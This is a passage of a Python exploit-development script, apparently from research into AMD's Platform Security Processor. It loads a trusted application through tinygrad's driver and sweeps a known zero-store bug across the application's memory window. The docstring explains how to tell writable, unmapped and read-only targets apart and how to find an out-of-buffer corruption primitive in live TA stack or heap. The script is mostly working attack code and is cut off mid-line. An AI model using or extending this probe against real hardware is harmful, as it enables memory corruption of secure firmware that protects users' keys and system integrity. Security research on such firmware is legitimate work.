#!/usr/bin/env python3 """Map the TA's writable address space by sweeping the FE09 zero-store across the high window. The store (sub_402EBC @ PC 0x402fa0) is *(params + 0x418 + D) = 0 and runs unconditionally for *(params+0x10) < 0x10000000. target = 0x04013000 + 0x418 + D (mod 2^32). A store that LANDS does not wedge the ring, so we can test many targets in one power cycle and stop at the first fault. Per target: * status != FAULT -> target mapped + writable (shared buffer, a neighbouring allocation, or DEAD TA memory). Keep going. * FAULT, pc == 0x402fa0 -> the store faulted; read DFSR (C2PMSG_85): 0x805 => section translation fault (UNMAPPED) perm => mapped but READ-ONLY here * FAULT, pc != 0x402fa0 -> we got PAST the store and corrupted LIVE TA memory (stack/heap) => OUT-OF-BUFFER CORRUPTION PRIMITIVE. The TA's private heap/stack live in high-window sections (svc_7D_map_region => VA 0x1000000 + idx*0x100000; params is idx 48 = 0x4000000). We sweep around idx 48 both directions plus a few far points, and dump a wide C2PMSG frame on the terminal fault. """ import struct, sys sys.path.insert(0, '/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp PARAMS_VA = 0x04013000 BASE = PARAMS_VA + 0x418 STORE_PC = 0x402fa0 def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF def frame(): return tuple(c2p(n) for n in range(82, 89)) # word0..word6 (word2=PC, word4=addr, word3=DFSR? -> C2P85) def wide(): return {n: c2p(n) for n in range(78, 96)} def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read() BUFLEN = 0x8000 cp, cmc = alloc(BUFLEN) def load(): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32; t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32; t.cmd_buf_len = BUFLEN try: r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception: return -1, None def fe09(sid, disp): buf = bytearray(b'\x00' * BUFLEN) struct.pack_into('